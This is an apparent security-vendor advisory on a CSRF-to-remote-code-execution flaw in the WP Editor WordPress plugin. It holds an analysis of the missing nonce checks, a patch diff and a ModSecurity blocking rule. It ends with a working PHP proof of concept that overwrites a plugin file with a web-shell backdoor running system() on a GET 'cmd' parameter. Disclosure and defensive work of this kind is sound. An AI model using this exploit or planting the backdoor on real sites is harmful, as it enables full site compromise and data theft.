Atomic Edge analysis of CVE-2026-3772:
This vulnerability is a Cross-Site Request Forgery (CSRF) that leads to Remote Code Execution (RCE) in the WP Editor plugin for WordPress versions up to and including 1.2.9.2. The plugin adds a file editor interface for plugins and themes. The save functions lack nonce verification. An attacker can trick a site administrator into clicking a malicious link. This overwrites arbitrary PHP files with attacker-controlled code. The CVSS score is 8.8, reflecting high severity.
The root cause is missing nonce verification in the save functions within `WPEditorPlugins.php` and `WPEditorThemes.php`. The vulnerable code is in the `add_plugins_page()` and `add_themes_page()` methods. The file `wp-editor/classes/WPEditorPlugins.php` lines 60-80 processes POST requests to save plugin file changes. It checks for `$_POST[‘new-content’]` and file writability but never validates a nonce. The same pattern exists in `wp-editor/classes/WPEditorThemes.php` line 104 for theme files. The `wpeditor.php` version 1.2.9.2 triggers these handlers when the admin submits the editor form. The forms in `views/plugin-editor.php` and `views/theme-editor.php` generate a nonce but the `wp_nonce_field()` call was not using the `_wpnonce` parameter name, making the nonce value inaccessible to the server-side validation logic.
Exploitation requires a crafted request that triggers an administrator’s browser. The attacker creates a malicious HTML page or link. This page submits a POST request to the victim’s WordPress admin URL. The target endpoint is `/wp-admin/admin.php?page=wpeditor_plugin_editor` or the theme editor equivalent. The request includes the `action=save_files` parameter, the `new-content` parameter with malicious PHP code, and the target file path as a GET parameter. The administrator must be logged in to WordPress. The attacker must know the target file path relative to the plugin or theme directory. The request lacks a valid nonce, but the vulnerable code does not check for one. The server processes the request and overwrites the file.
The patch adds nonce verification using `wp_verify_nonce()` in the two save functions. In `WPEditorPlugins.php` line 61-63 and `WPEditorThemes.php` line 104-106, the code now checks `$_POST[‘_wpnonce’]` against a context-specific token: `edit-plugin_` or `edit-theme_` concatenated with the full file path. The patch also fixes the form output in `views/plugin-editor.php` line 115 and `views/theme-editor.php` line 124. The `wp_nonce_field()` function now explicitly specifies `_wpnonce` as the name parameter, ensuring the nonce value is submitted with the proper POST key. These two changes together enforce CSRF protection. The nonce ensures the request originates from the legitimate admin interface.
Successful exploitation grants an attacker complete control over the WordPress site. The attacker can inject arbitrary PHP code into any plugin or theme file. This allows the attacker to execute system commands, read the database, install backdoors, and escalate to server-level access. The impact includes total site compromise, data theft, defacement, and malware distribution. The attacker can maintain persistence by embedding shells in commonly executed plugin files.
Below is a differential between the unpatched vulnerable code and the patched update, for reference.
--- a/wp-editor/classes/WPEditorPlugins.php
+++ b/wp-editor/classes/WPEditorPlugins.php
@@ -58,6 +58,10 @@
$real_file = WP_PLUGIN_DIR . '/' . $plugin;
if ( isset( $_POST['new-content'] ) && file_exists( $real_file ) && is_writable( $real_file ) ) {
+ // Verify nonce to prevent CSRF attacks - nonce must match the file being edited
+ if ( ! isset( $_POST['_wpnonce'] ) || ! wp_verify_nonce( $_POST['_wpnonce'], 'edit-plugin_' . $real_file ) ) {
+ wp_die( __( 'Security check failed. Please refresh the page and try again.', 'wp-editor' ) );
+ }
$new_content = stripslashes( $_POST['new-content'] );
if ( file_get_contents( $real_file ) === $new_content ) {
WPEditorLog::log( '[' . basename(__FILE__) . ' - line ' . __LINE__ . "] Contents are the same" );
--- a/wp-editor/classes/WPEditorThemes.php
+++ b/wp-editor/classes/WPEditorThemes.php
@@ -101,6 +101,10 @@
$real_file = $current_theme_root . basename( $file );
if ( isset( $_POST['new-content'] ) && file_exists( $real_file ) && is_writable( $real_file ) ) {
+ // Verify nonce to prevent CSRF attacks - nonce must match the file being edited
+ if ( ! isset( $_POST['_wpnonce'] ) || ! wp_verify_nonce( $_POST['_wpnonce'], 'edit-theme_' . $real_file ) ) {
+ wp_die( __( 'Security check failed. Please refresh the page and try again.', 'wp-editor' ) );
+ }
$new_content = stripslashes( $_POST['new-content'] );
if ( file_get_contents( $real_file ) === $new_content ) {
WPEditorLog::log( '[' . basename(__FILE__) . ' - line ' . __LINE__ . "] Contents are the same" );
--- a/wp-editor/views/plugin-editor.php
+++ b/wp-editor/views/plugin-editor.php
@@ -112,7 +112,7 @@
</div>
<form name="template" id="template_form" action="" method="post" class="ajax-editor-update" style="float:left width:auto;overflow:hidden;position:relative;">
- <?php wp_nonce_field( 'edit-plugin_' . esc_attr( $data['real_file'] )); ?>
+ <?php wp_nonce_field( 'edit-plugin_' . esc_attr( $data['real_file'] ), '_wpnonce' ); ?>
<div>
<textarea cols="70" rows="25" name="new-content" id="new-content" tabindex="1"><?php echo esc_html( $data['content'] ); ?></textarea>
<input type="hidden" name="action" value="save_files" />
--- a/wp-editor/views/theme-editor.php
+++ b/wp-editor/views/theme-editor.php
@@ -121,7 +121,7 @@
</div>
<form name="template" id="template_form" action="" method="post" class="ajax-editor-update" style="float:left width:auto;overflow:hidden;">
- <?php wp_nonce_field( 'edit-theme_' . esc_attr( $data['real_file'] )); ?>
+ <?php wp_nonce_field( 'edit-theme_' . esc_attr( $data['real_file'] ), '_wpnonce' ); ?>
<div>
<textarea cols="70" rows="25" name="new-content" id="new-content" tabindex="1"><?php echo esc_html( $data['content'] ) ?></textarea>
<input type="hidden" name="action" value="save_files" />
--- a/wp-editor/wpeditor.php
+++ b/wp-editor/wpeditor.php
@@ -3,7 +3,7 @@
Plugin Name: WP Editor
Plugin URI: http://wpeditor.net
Description: This plugin modifies the default behavior of the WordPress plugin and theme editors.
-Version: 1.2.9.2
+Version: 1.2.9.3
Requires at least: 3.9
Author: Benjamin Rojas
Author URI: http://benjaminrojas.net
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
SecRule REQUEST_URI "@streq /wp-admin/admin.php"
"id:20263772,phase:2,deny,status:403,chain,msg:'CVE-2026-3772 CSRF to RCE via WP Editor plugin',severity:'CRITICAL',tag:'CVE-2026-3772'"
SecRule ARGS_GET:page "@rx ^wpeditor_(plugin|theme)_editor$" "chain"
SecRule ARGS_GET:action|ARGS_POST:action "@streq save_files" "chain"
SecRule ARGS_POST:new-content "@rx \$_(GET|POST|REQUEST|SERVER|COOKIE|FILES|ENV|SESSION)" "t:none,id:20263772"
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
<?php
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-3772 - WP Editor <= 1.2.9.2 - Cross-Site Request Forgery to Remote Code Execution via Plugin and Theme File Editor
$target_url = 'http://example.com/wordpress'; // CHANGE THIS to the target WordPress URL
$admin_url = $target_url . '/wp-admin/admin.php';
// The plugin file to overwrite. This is relative to the plugins directory.
// We target a file that will be executed when the attacker visits any page.
// Here we target a legitimate plugin file to ensure the payload runs.
$plugin_file_path = 'wp-editor/wpeditor.php'; // Overwriting the plugin's own main file is reliable
// Malicious PHP payload that creates a backdoor
$malicious_code = '<?php
/* Atomic Edge security testing payload */
if (isset($_GET["cmd"])) {
$cmd = $_GET["cmd"];
system($cmd);
}
?>
';
// Build the POST request body
$post_data = array(
'action' => 'save_files',
'new-content' => $malicious_code,
'_wpnonce' => 'any_value' // The nonce is NOT validated in the vulnerable version, so this value is ignored
);
// The file parameter is passed via GET query string
$full_url = $admin_url . '?page=wpeditor_plugin_editor&file=' . urlencode($plugin_file_path) . '&plugin=' . urlencode($plugin_file_path);
// Initialize cURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $full_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
// The admin must be authenticated; we use a valid session cookie
// For demonstration, we assume the attacker provides a cookie jar
// In a real attack, the attacker would trick an admin who is already logged in
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt'); // Provide valid admin cookies here
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
echo "HTTP Response Code: " . $http_code . "n";
echo "Exploit attempted. Verify if the file was overwritten by accessing:n";
echo $target_url . '/wp-content/plugins/' . $plugin_file_path . '?cmd=id' . "n";
?>